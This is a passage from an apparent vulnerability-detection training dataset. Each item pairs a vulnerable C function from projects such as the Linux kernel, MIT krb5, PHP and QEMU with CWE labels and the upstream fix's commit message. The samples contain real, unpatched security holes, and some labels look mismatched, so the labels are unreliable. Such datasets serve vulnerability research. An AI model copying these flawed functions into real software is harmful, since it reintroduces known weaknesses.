BUFFER OVERFLOW ISSUES\n\nDescription : Incorrect usage of sprintf/strcpy caused\n possible buffer overflow issues at various\n places.\n\nSolution : - Fixed mysql_plugin and mysqlshow\n - Fixed regex library issues\n\nReviewed-By : Georgi Kodinov \nReviewed-By : Venkata S Murthy Sidagam '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: X509::X509(const char* i, size_t iSz, const char* s, size_t sSz,\n const char* b, int bSz, const char* a, int aSz)\n : issuer_(i, iSz), subject_(s, sSz),\n beforeDate_(b, bSz), afterDate_(a, aSz)\n{} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-254'], 'message': 'Bug #22738607: YASSL FUNCTION X509_NAME_GET_INDEX_BY_NID IS NOT WORKING AS EXPECTED.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void __iov_iter_advance_iov(struct iov_iter *i, size_t bytes)\n{\n\tif (likely(i->nr_segs == 1)) {\n\t\ti->iov_offset += bytes;\n\t} else {\n\t\tconst struct iovec *iov = i->iov;\n\t\tsize_t base = i->iov_offset;\n\n\t\twhile (bytes) {\n\t\t\tint copy = min(bytes, iov->iov_len - base);\n\n\t\t\tbytes -= copy;\n\t\t\tbase += copy;\n\t\t\tif (iov->iov_len == base) {\n\t\t\t\tiov++;\n\t\t\t\tbase = 0;\n\t\t\t}\n\t\t}\n\t\ti->iov = iov;\n\t\ti->iov_offset = base;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'fix writev regression: pan hanging unkillable and un-straceable\n\nFrederik Himpe reported an unkillable and un-straceable pan process.\n\nZero length iovecs can go into an infinite loop in writev, because the\niovec iterator does not always advance over them.\n\nThe sequence required to trigger this is not trivial. I think it\nrequires that a zero-length iovec be followed by a non-zero-length iovec\nwhich causes a pagefault in the atomic usercopy. This causes the writev\ncode to drop back into single-segment copy mode, which then tries to\ncopy the 0 bytes of the zero-length iovec; a zero length copy looks like\na failure though, so it loops.\n\nPut a test into iov_iter_advance to catch zero-length iovecs. We could\njust put the test in the fallback path, but I feel it is more robust to\nskip over zero-length iovecs throughout the code (iovec iterator may be\nused in filesystems too, so it should be robust).\n\nSigned-off-by: Nick Piggin \nSigned-off-by: Ingo Molnar \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void jas_matrix_clip(jas_matrix_t *matrix, jas_seqent_t minval, jas_seqent_t maxval)\n{\n\tint i;\n\tint j;\n\tjas_seqent_t v;\n\tjas_seqent_t *rowstart;\n\tjas_seqent_t *data;\n\tint rowstep;\n\n\trowstep = jas_matrix_rowstep(matrix);\n\tfor (i = matrix->numrows_, rowstart = matrix->rows_[0]; i > 0; --i,\n\t rowstart += rowstep) {\n\t\tdata = rowstart;\n\t\tfor (j = matrix->numcols_, data = rowstart; j > 0; --j,\n\t\t ++data) {\n\t\t\tv = *data;\n\t\t\tif (v < minval) {\n\t\t\t\t*data = minval;\n\t\t\t} else if (v > maxval) {\n\t\t\t\t*data = maxval;\n\t\t\t}\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Added fix for CVE-2016-2089.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: modify_principal_2_svc(mprinc_arg *arg, struct svc_req *rqstp)\n{\n static generic_ret ret;\n char *prime_arg;\n gss_buffer_desc client_name,\n service_name;\n OM_uint32 minor_stat;\n kadm5_server_handle_t handle;\n restriction_t *rp;\n const char *errmsg = NULL;\n\n xdr_free(xdr_generic_ret, &ret);\n\n if ((ret.code = new_server_handle(arg->api_version, rqstp, &handle)))\n goto exit_func;\n\n if ((ret.code = check_handle((void *)handle)))\n goto exit_func;\n\n if (setup_gss_names(rqstp, &client_name, &service_name) < 0) {\n ret.code = KADM5_FAILURE;\n goto exit_func;\n }\n if (krb5_unparse_name(handle->context, arg->rec.principal, &prime_arg)) {\n ret.code = KADM5_BAD_PRINCIPAL;\n goto exit_func;\n }\n\n if (CHANGEPW_SERVICE(rqstp)\n || !kadm5int_acl_check(handle->context, rqst2name(rqstp), ACL_MODIFY,\n arg->rec.principal, &rp)\n || kadm5int_acl_impose_restrictions(handle->context,\n &arg->rec, &arg->mask, rp)) {\n ret.code = KADM5_AUTH_MODIFY;\n log_unauth(\"kadm5_modify_principal\", prime_arg,\n &client_name, &service_name, rqstp);\n } else {\n ret.code = kadm5_modify_principal((void *)handle, &arg->rec,\n arg->mask);\n if( ret.code != 0 )\n errmsg = krb5_get_error_message(handle->context, ret.code);\n\n log_done(\"kadm5_modify_principal\", prime_arg, errmsg,\n &client_name, &service_name, rqstp);\n\n if (errmsg != NULL)\n krb5_free_error_message(handle->context, errmsg);\n }\n free(prime_arg);\n gss_release_buffer(&minor_stat, &client_name);\n gss_release_buffer(&minor_stat, &service_name);\nexit_func:\n free_server_handle(handle);\n return &ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-772', 'CWE-401'], 'message': 'Fix leaks in kadmin server stubs [CVE-2015-8631]\n\nIn each kadmind server stub, initialize the client_name and\nserver_name variables, and release them in the cleanup handler. Many\nof the stubs will otherwise leak the client and server name if\nkrb5_unparse_name() fails. Also make sure to free the prime_arg\nvariables in rename_principal_2_svc(), or we can leak the first one if\nunparsing the second one fails. Discovered by Simo Sorce.\n\nCVE-2015-8631:\n\nIn all versions of MIT krb5, an authenticated attacker can cause\nkadmind to leak memory by supplying a null principal name in a request\nwhich uses one. Repeating these requests will eventually cause\nkadmind to exhaust all available memory.\n\n CVSSv2 Vector: AV:N/AC:L/Au:S/C:N/I:N/A:C/E:POC/RL:OF/RC:C\n\nticket: 8343 (new)\ntarget_version: 1.14-next\ntarget_version: 1.13-next\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: setkey_principal3_2_svc(setkey3_arg *arg, struct svc_req *rqstp)\n{\n static generic_ret ret;\n char *prime_arg;\n gss_buffer_desc client_name,\n service_name;\n OM_uint32 minor_stat;\n kadm5_server_handle_t handle;\n const char *errmsg = NULL;\n\n xdr_free(xdr_generic_ret, &ret);\n\n if ((ret.code = new_server_handle(arg->api_version, rqstp, &handle)))\n goto exit_func;\n\n if ((ret.code = check_handle((void *)handle)))\n goto exit_func;\n\n ret.api_version = handle->api_version;\n\n if (setup_gss_names(rqstp, &client_name, &service_name) < 0) {\n ret.code = KADM5_FAILURE;\n goto exit_func;\n }\n if (krb5_unparse_name(handle->context, arg->princ, &prime_arg)) {\n ret.code = KADM5_BAD_PRINCIPAL;\n goto exit_func;\n }\n\n if (!(CHANGEPW_SERVICE(rqstp)) &&\n kadm5int_acl_check(handle->context, rqst2name(rqstp),\n ACL_SETKEY, arg->princ, NULL)) {\n ret.code = kadm5_setkey_principal_3((void *)handle, arg->princ,\n arg->keepold,\n arg->n_ks_tuple,\n arg->ks_tuple,\n arg->keyblocks, arg->n_keys);\n } else {\n log_unauth(\"kadm5_setkey_principal\", prime_arg,\n &client_name, &service_name, rqstp);\n ret.code = KADM5_AUTH_SETKEY;\n }\n\n if(ret.code != KADM5_AUTH_SETKEY) {\n if( ret.code != 0 )\n errmsg = krb5_get_error_message(handle->context, ret.code);\n\n log_done(\"kadm5_setkey_principal\", prime_arg, errmsg,\n &client_name, &service_name, rqstp);\n\n if (errmsg != NULL)\n krb5_free_error_message(handle->context, errmsg);\n }\n\n free(prime_arg);\n gss_release_buffer(&minor_stat, &client_name);\n gss_release_buffer(&minor_stat, &service_name);\nexit_func:\n free_server_handle(handle);\n return &ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-772', 'CWE-401'], 'message': 'Fix leaks in kadmin server stubs [CVE-2015-8631]\n\nIn each kadmind server stub, initialize the client_name and\nserver_name variables, and release them in the cleanup handler. Many\nof the stubs will otherwise leak the client and server name if\nkrb5_unparse_name() fails. Also make sure to free the prime_arg\nvariables in rename_principal_2_svc(), or we can leak the first one if\nunparsing the second one fails. Discovered by Simo Sorce.\n\nCVE-2015-8631:\n\nIn all versions of MIT krb5, an authenticated attacker can cause\nkadmind to leak memory by supplying a null principal name in a request\nwhich uses one. Repeating these requests will eventually cause\nkadmind to exhaust all available memory.\n\n CVSSv2 Vector: AV:N/AC:L/Au:S/C:N/I:N/A:C/E:POC/RL:OF/RC:C\n\nticket: 8343 (new)\ntarget_version: 1.14-next\ntarget_version: 1.13-next\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int iwch_cxgb3_ofld_send(struct t3cdev *tdev, struct sk_buff *skb)\n{\n\tint\terror = 0;\n\tstruct cxio_rdev *rdev;\n\n\trdev = (struct cxio_rdev *)tdev->ulp;\n\tif (cxio_fatal_error(rdev)) {\n\t\tkfree_skb(skb);\n\t\treturn -EIO;\n\t}\n\terror = cxgb3_ofld_send(tdev, skb);\n\tif (error < 0)\n\t\tkfree_skb(skb);\n\treturn error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'iw_cxgb3: Fix incorrectly returning error on success\n\nThe cxgb3_*_send() functions return NET_XMIT_ values, which are\npositive integers values. So don't treat positive return values\nas an error.\n\nSigned-off-by: Steve Wise \nSigned-off-by: Hariprasad Shenai \nSigned-off-by: Doug Ledford '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static php_stream * php_stream_url_wrap_rfc2397(php_stream_wrapper *wrapper, char *path, char *mode, int options, char **opened_path, php_stream_context *context STREAMS_DC TSRMLS_DC) /* {{{ */\n{\n\tphp_stream *stream;\n\tphp_stream_temp_data *ts;\n\tchar *comma, *semi, *sep, *key;\n\tsize_t mlen, dlen, plen, vlen;\n\toff_t newoffs;\n\tzval *meta = NULL;\n\tint base64 = 0, ilen;\n\n\tif (memcmp(path, \"data:\", 5)) {\n\t\treturn NULL;\n\t}\n\n\tpath += 5;\n\tdlen = strlen(path);\n\n\tif (dlen >= 2 && path[0] == '/' && path[1] == '/') {\n\t\tdlen -= 2;\n\t\tpath += 2;\n\t}\n\n\tif ((comma = memchr(path, ',', dlen)) == NULL) {\n\t\tphp_stream_wrapper_log_error(wrapper, options TSRMLS_CC, \"rfc2397: no comma in URL\");\n\t\treturn NULL;\n\t}\n\n\tif (comma != path) {\n\t\t/* meta info */\n\t\tmlen = comma - path;\n\t\tdlen -= mlen;\n\t\tsemi = memchr(path, ';', mlen);\n\t\tsep = memchr(path, '/', mlen);\n\t\t\n\t\tif (!semi && !sep) {\n\t\t\tphp_stream_wrapper_log_error(wrapper, options TSRMLS_CC, \"rfc2397: illegal media type\");\n\t\t\treturn NULL;\n\t\t}\n\n\t\tMAKE_STD_ZVAL(meta);\n\t\tarray_init(meta);\n\t\tif (!semi) { /* there is only a mime type */\n\t\t\tadd_assoc_stringl(meta, \"mediatype\", path, mlen, 1);\n\t\t\tmlen = 0;\n\t\t} else if (sep && sep < semi) { /* there is a mime type */\n\t\t\tplen = semi - path;\n\t\t\tadd_assoc_stringl(meta, \"mediatype\", path, plen, 1);\n\t\t\tmlen -= plen;\n\t\t\tpath += plen;\n\t\t} else if (semi != path || mlen != sizeof(\";base64\")-1 || memcmp(path, \";base64\", sizeof(\";base64\")-1)) { /* must be error since parameters are only allowed after mediatype */\n\t\t\tzval_ptr_dtor(&meta);\n\t\t\tphp_stream_wrapper_log_error(wrapper, options TSRMLS_CC, \"rfc2397: illegal media type\");\n\t\t\treturn NULL;\n\t\t}\n\t\t/* get parameters and potentially ';base64' */\n\t\twhile(semi && (semi == path)) {\n\t\t\tpath++;\n\t\t\tmlen--;\n\t\t\tsep = memchr(path, '=', mlen);\n\t\t\tsemi = memchr(path, ';', mlen);\n\t\t\tif (!sep || (semi && semi < sep)) { /* must be ';base64' or failure */\n\t\t\t\tif (mlen != sizeof(\"base64\")-1 || memcmp(path, \"base64\", sizeof(\"base64\")-1)) {\n\t\t\t\t\t/* must be error since parameters are only allowed after mediatype and we have no '=' sign */\n\t\t\t\t\tzval_ptr_dtor(&meta);\n\t\t\t\t\tphp_stream_wrapper_log_error(wrapper, options TSRMLS_CC, \"rfc2397: illegal parameter\");\n\t\t\t\t\treturn NULL;\n\t\t\t\t}\n\t\t\t\tbase64 = 1;\n\t\t\t\tmlen -= sizeof(\"base64\") - 1;\n\t\t\t\tpath += sizeof(\"base64\") - 1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t/* found parameter ... the heart of cs ppl lies in +1/-1 or was it +2 this time? */\n\t\t\tplen = sep - path;\n\t\t\tvlen = (semi ? semi - sep : mlen - plen) - 1 /* '=' */;\n\t\t\tkey = estrndup(path, plen);\n\t\t\tadd_assoc_stringl_ex(meta, key, plen + 1, sep + 1, vlen, 1);\n\t\t\tefree(key);\n\t\t\tplen += vlen + 1;\n\t\t\tmlen -= plen;\n\t\t\tpath += plen;\n\t\t}\n\t\tif (mlen) {\n\t\t\tzval_ptr_dtor(&meta);\n\t\t\tphp_stream_wrapper_log_error(wrapper, options TSRMLS_CC, \"rfc2397: illegal URL\");\n\t\t\treturn NULL;\n\t\t}\n\t} else {\n\t\tMAKE_STD_ZVAL(meta);\n\t\tarray_init(meta);\n\t}\n\tadd_assoc_bool(meta, \"base64\", base64);\n\n\t/* skip ',' */\n\tcomma++;\n\tdlen--;\n\n\tif (base64) {\n\t\tcomma = (char*)php_base64_decode((const unsigned char *)comma, dlen, &ilen);\n\t\tif (!comma) {\n\t\t\tzval_ptr_dtor(&meta);\n\t\t\tphp_stream_wrapper_log_error(wrapper, options TSRMLS_CC, \"rfc2397: unable to decode\");\n\t\t\treturn NULL;\n\t\t}\n\t} else {\n\t\tcomma = estrndup(comma, dlen);\n\t\tilen = dlen = php_url_decode(comma, dlen);\n\t}\n\n\tif ((stream = php_stream_temp_create_rel(0, ~0u)) != NULL) {\n\t\t/* store data */\n\t\tphp_stream_temp_write(stream, comma, ilen TSRMLS_CC);\n\t\tphp_stream_temp_seek(stream, 0, SEEK_SET, &newoffs TSRMLS_CC);\n\t\t/* set special stream stuff (enforce exact mode) */\n\t\tvlen = strlen(mode);\n\t\tif (vlen >= sizeof(stream->mode)) {\n\t\t\tvlen = sizeof(stream->mode) - 1;\n\t\t}\n\t\tmemcpy(stream->mode, mode, vlen);\n\t\tstream->mode[vlen] = '\\0';\n\t\tstream->ops = &php_stream_rfc2397_ops;\n\t\tts = (php_stream_temp_data*)stream->abstract;\n\t\tassert(ts != NULL);\n\t\tts->mode = mode && mode[0] == 'r' && mode[1] != '+' ? TEMP_STREAM_READONLY : 0;\n\t\tts->meta = meta;\n\t}\n\tefree(comma);\n\n\treturn stream;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fixed bug #71323 - Output of stream_get_meta_data can be falsified by its input'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void migrate_page_copy(struct page *newpage, struct page *page)\n{\n\tint cpupid;\n\n\tif (PageHuge(page) || PageTransHuge(page))\n\t\tcopy_huge_page(newpage, page);\n\telse\n\t\tcopy_highpage(newpage, page);\n\n\tif (PageError(page))\n\t\tSetPageError(newpage);\n\tif (PageReferenced(page))\n\t\tSetPageReferenced(newpage);\n\tif (PageUptodate(page))\n\t\tSetPageUptodate(newpage);\n\tif (TestClearPageActive(page)) {\n\t\tVM_BUG_ON_PAGE(PageUnevictable(page), page);\n\t\tSetPageActive(newpage);\n\t} else if (TestClearPageUnevictable(page))\n\t\tSetPageUnevictable(newpage);\n\tif (PageChecked(page))\n\t\tSetPageChecked(newpage);\n\tif (PageMappedToDisk(page))\n\t\tSetPageMappedToDisk(newpage);\n\n\tif (PageDirty(page)) {\n\t\tclear_page_dirty_for_io(page);\n\t\t/*\n\t\t * Want to mark the page and the radix tree as dirty, and\n\t\t * redo the accounting that clear_page_dirty_for_io undid,\n\t\t * but we can't use set_page_dirty because that function\n\t\t * is actually a signal that all of the page has become dirty.\n\t\t * Whereas only part of our page may be dirty.\n\t\t */\n\t\tif (PageSwapBacked(page))\n\t\t\tSetPageDirty(newpage);\n\t\telse\n\t\t\t__set_page_dirty_nobuffers(newpage);\n \t}\n\n\tif (page_is_young(page))\n\t\tset_page_young(newpage);\n\tif (page_is_idle(page))\n\t\tset_page_idle(newpage);\n\n\t/*\n\t * Copy NUMA information to the new page, to prevent over-eager\n\t * future migrations of this same page.\n\t */\n\tcpupid = page_cpupid_xchg_last(page, -1);\n\tpage_cpupid_xchg_last(newpage, cpupid);\n\n\tksm_migrate_page(newpage, page);\n\t/*\n\t * Please do not reorder this without considering how mm/ksm.c's\n\t * get_ksm_page() depends upon ksm_migrate_page() and PageSwapCache().\n\t */\n\tif (PageSwapCache(page))\n\t\tClearPageSwapCache(page);\n\tClearPagePrivate(page);\n\tset_page_private(page, 0);\n\n\t/*\n\t * If any waiters have accumulated on the new page then\n\t * wake them up.\n\t */\n\tif (PageWriteback(newpage))\n\t\tend_page_writeback(newpage);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'mm: migrate dirty page without clear_page_dirty_for_io etc\n\nclear_page_dirty_for_io() has accumulated writeback and memcg subtleties\nsince v2.6.16 first introduced page migration; and the set_page_dirty()\nwhich completed its migration of PageDirty, later had to be moderated to\n__set_page_dirty_nobuffers(); then PageSwapBacked had to skip that too.\n\nNo actual problems seen with this procedure recently, but if you look into\nwhat the clear_page_dirty_for_io(page)+set_page_dirty(newpage) is actually\nachieving, it turns out to be nothing more than moving the PageDirty flag,\nand its NR_FILE_DIRTY stat from one zone to another.\n\nIt would be good to avoid a pile of irrelevant decrementations and\nincrementations, and improper event counting, and unnecessary descent of\nthe radix_tree under tree_lock (to set the PAGECACHE_TAG_DIRTY which\nradix_tree_replace_slot() left in place anyway).\n\nDo the NR_FILE_DIRTY movement, like the other stats movements, while\ninterrupts still disabled in migrate_page_move_mapping(); and don't even\nbother if the zone is the same. Do the PageDirty movement there under\ntree_lock too, where old page is frozen and newpage not yet visible:\nbearing in mind that as soon as newpage becomes visible in radix_tree, an\nun-page-locked set_page_dirty() might interfere (or perhaps that's just\nnot possible: anything doing so should already hold an additional\nreference to the old page, preventing its migration; but play safe).\n\nBut we do still need to transfer PageDirty in migrate_page_copy(), for\nthose who don't go the mapping route through migrate_page_move_mapping().\n\nSigned-off-by: Hugh Dickins \nCc: Christoph Lameter \nCc: \"Kirill A. Shutemov\" \nCc: Rik van Riel \nCc: Vlastimil Babka \nCc: Davidlohr Bueso \nCc: Oleg Nesterov \nCc: Sasha Levin \nCc: Dmitry Vyukov \nCc: KOSAKI Motohiro \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void unix_detach_fds(struct scm_cookie *scm, struct sk_buff *skb)\n{\n\tint i;\n\n\tscm->fp = UNIXCB(skb).fp;\n\tUNIXCB(skb).fp = NULL;\n\n\tfor (i = scm->fp->count-1; i >= 0; i--)\n\t\tunix_notinflight(scm->fp->fp[i]);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'unix: correctly track in-flight fds in sending process user_struct\n\nThe commit referenced in the Fixes tag incorrectly accounted the number\nof in-flight fds over a unix domain socket to the original opener\nof the file-descriptor. This allows another process to arbitrary\ndeplete the original file-openers resource limit for the maximum of\nopen files. Instead the sending processes and its struct cred should\nbe credited.\n\nTo do so, we add a reference counted struct user_struct pointer to the\nscm_fp_list and use it to account for the number of inflight unix fds.\n\nFixes: 712f4aad406bb1 (\"unix: properly account for FDs passed over unix sockets\")\nReported-by: David Herrmann \nCc: David Herrmann \nCc: Willy Tarreau \nCc: Linus Torvalds \nSuggested-by: Linus Torvalds \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void snd_timer_check_master(struct snd_timer_instance *master)\n{\n\tstruct snd_timer_instance *slave, *tmp;\n\n\t/* check all pending slaves */\n\tlist_for_each_entry_safe(slave, tmp, &snd_timer_slave_list, open_list) {\n\t\tif (slave->slave_class == master->slave_class &&\n\t\t slave->slave_id == master->slave_id) {\n\t\t\tlist_move_tail(&slave->open_list, &master->slave_list_head);\n\t\t\tspin_lock_irq(&slave_active_lock);\n\t\t\tslave->master = master;\n\t\t\tslave->timer = master->timer;\n\t\t\tif (slave->flags & SNDRV_TIMER_IFLG_RUNNING)\n\t\t\t\tlist_add_tail(&slave->active_list,\n\t\t\t\t\t &master->slave_active_head);\n\t\t\tspin_unlock_irq(&slave_active_lock);\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-200', 'CWE-362'], 'message': 'ALSA: timer: Harden slave timer list handling\n\nA slave timer instance might be still accessible in a racy way while\noperating the master instance as it lacks of locking. Since the\nmaster operation is mostly protected with timer->lock, we should cope\nwith it while changing the slave instance, too. Also, some linked\nlists (active_list and ack_list) of slave instances aren't unlinked\nimmediately at stopping or closing, and this may lead to unexpected\naccesses.\n\nThis patch tries to address these issues. It adds spin lock of\ntimer->lock (either from master or slave, which is equivalent) in a\nfew places. For avoiding a deadlock, we ensure that the global\nslave_active_lock is always locked at first before each timer lock.\n\nAlso, ack and active_list of slave instances are properly unlinked at\nsnd_timer_stop() and snd_timer_close().\n\nLast but not least, remove the superfluous call of _snd_timer_stop()\nat removing slave links. This is a noop, and calling it may confuse\nreaders wrt locking. Further cleanup will follow in a later patch.\n\nActually we've got reports of use-after-free by syzkaller fuzzer, and\nthis hopefully fixes these issues.\n\nReported-by: Dmitry Vyukov \nCc: \nSigned-off-by: Takashi Iwai '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct pipe_inode_info *alloc_pipe_info(void)\n{\n\tstruct pipe_inode_info *pipe;\n\n\tpipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL);\n\tif (pipe) {\n\t\tpipe->bufs = kzalloc(sizeof(struct pipe_buffer) * PIPE_DEF_BUFFERS, GFP_KERNEL);\n\t\tif (pipe->bufs) {\n\t\t\tinit_waitqueue_head(&pipe->wait);\n\t\t\tpipe->r_counter = pipe->w_counter = 1;\n\t\t\tpipe->buffers = PIPE_DEF_BUFFERS;\n\t\t\tmutex_init(&pipe->mutex);\n\t\t\treturn pipe;\n\t\t}\n\t\tkfree(pipe);\n\t}\n\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'pipe: limit the per-user amount of pages allocated in pipes\n\nOn no-so-small systems, it is possible for a single process to cause an\nOOM condition by filling large pipes with data that are never read. A\ntypical process filling 4000 pipes with 1 MB of data will use 4 GB of\nmemory. On small systems it may be tricky to set the pipe max size to\nprevent this from happening.\n\nThis patch makes it possible to enforce a per-user soft limit above\nwhich new pipes will be limited to a single page, effectively limiting\nthem to 4 kB each, as well as a hard limit above which no new pipes may\nbe created for this user. This has the effect of protecting the system\nagainst memory abuse without hurting other users, and still allowing\npipes to work correctly though with less data at once.\n\nThe limit are controlled by two new sysctls : pipe-user-pages-soft, and\npipe-user-pages-hard. Both may be disabled by setting them to zero. The\ndefault soft limit allows the default number of FDs per process (1024)\nto create pipes of the default size (64kB), thus reaching a limit of 64MB\nbefore starting to create only smaller pipes. With 256 processes limited\nto 1024 FDs each, this results in 1024*64kB + (256*1024 - 1024) * 4kB =\n1084 MB of memory allocated for a user. The hard limit is disabled by\ndefault to avoid breaking existing applications that make intensive use\nof pipes (eg: for splicing).\n\nReported-by: socketpair@gmail.com\nReported-by: Tetsuo Handa \nMitigates: CVE-2013-4312 (Linux 2.0+)\nSuggested-by: Linus Torvalds \nSigned-off-by: Willy Tarreau \nSigned-off-by: Al Viro '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void rng_egd_request_entropy(RngBackend *b, size_t size,\n EntropyReceiveFunc *receive_entropy,\n void *opaque)\n{\n RngEgd *s = RNG_EGD(b);\n RngRequest *req;\n\n req = g_malloc(sizeof(*req));\n\n req->offset = 0;\n req->size = size;\n req->receive_entropy = receive_entropy;\n req->opaque = opaque;\n req->data = g_malloc(req->size);\n\n while (size > 0) {\n uint8_t header[2];\n uint8_t len = MIN(size, 255);\n\n /* synchronous entropy request */\n header[0] = 0x02;\n header[1] = len;\n\n qemu_chr_fe_write(s->chr, header, sizeof(header));\n\n size -= len;\n }\n\n s->parent.requests = g_slist_append(s->parent.requests, req);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'rng: add request queue support to rng-random\n\nRequests are now created in the RngBackend parent class and the\ncode path is shared by both rng-egd and rng-random.\n\nThis commit fixes the rng-random implementation which processed\nonly one request at a time and simply discarded all but the most\nrecent one. In the guest this manifested as delayed completion\nof reads from virtio-rng, i.e. a read was completed only after\nanother read was issued.\n\nBy switching rng-random to use the same request queue as rng-egd,\nthe unsafe stack-based allocation of the entropy buffer is\neliminated and replaced with g_malloc.\n\nSigned-off-by: Ladi Prosek \nReviewed-by: Amit Shah \nMessage-Id: <1456994238-9585-5-git-send-email-lprosek@redhat.com>\nSigned-off-by: Amit Shah '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_XML_API zend_string *xml_utf8_encode(const char *s, size_t len, const XML_Char *encoding)\n{\n\tsize_t pos = len;\n\tzend_string *str;\n\tunsigned int c;\n\tunsigned short (*encoder)(unsigned char) = NULL;\n\txml_encoding *enc = xml_get_encoding(encoding);\n\n\tif (enc) {\n\t\tencoder = enc->encoding_function;\n\t} else {\n\t\t/* If the target encoding was unknown, fail */\n\t\treturn NULL;\n\t}\n\tif (encoder == NULL) {\n\t\t/* If no encoder function was specified, return the data as-is.\n\t\t */\n\t\tstr = zend_string_init(s, len, 0);\n\t\treturn str;\n\t}\n\t/* This is the theoretical max (will never get beyond len * 2 as long\n\t * as we are converting from single-byte characters, though) */\n\tstr = zend_string_alloc(len * 4, 0);\n\tZSTR_LEN(str) = 0;\n\twhile (pos > 0) {\n\t\tc = encoder ? encoder((unsigned char)(*s)) : (unsigned short)(*s);\n\t\tif (c < 0x80) {\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (char) c;\n\t\t} else if (c < 0x800) {\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (0xc0 | (c >> 6));\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (0x80 | (c & 0x3f));\n\t\t} else if (c < 0x10000) {\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (0xe0 | (c >> 12));\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (0xc0 | ((c >> 6) & 0x3f));\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (0x80 | (c & 0x3f));\n\t\t} else if (c < 0x200000) {\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (0xf0 | (c >> 18));\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (0xe0 | ((c >> 12) & 0x3f));\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (0xc0 | ((c >> 6) & 0x3f));\n\t\t\tZSTR_VAL(str)[ZSTR_LEN(str)++] = (0x80 | (c & 0x3f));\n\t\t}\n\t\tpos--;\n\t\ts++;\n\t}\n\tZSTR_VAL(str)[ZSTR_LEN(str)] = '\\0';\n\tstr = zend_string_truncate(str, ZSTR_LEN(str), 0);\n\treturn str;\n} 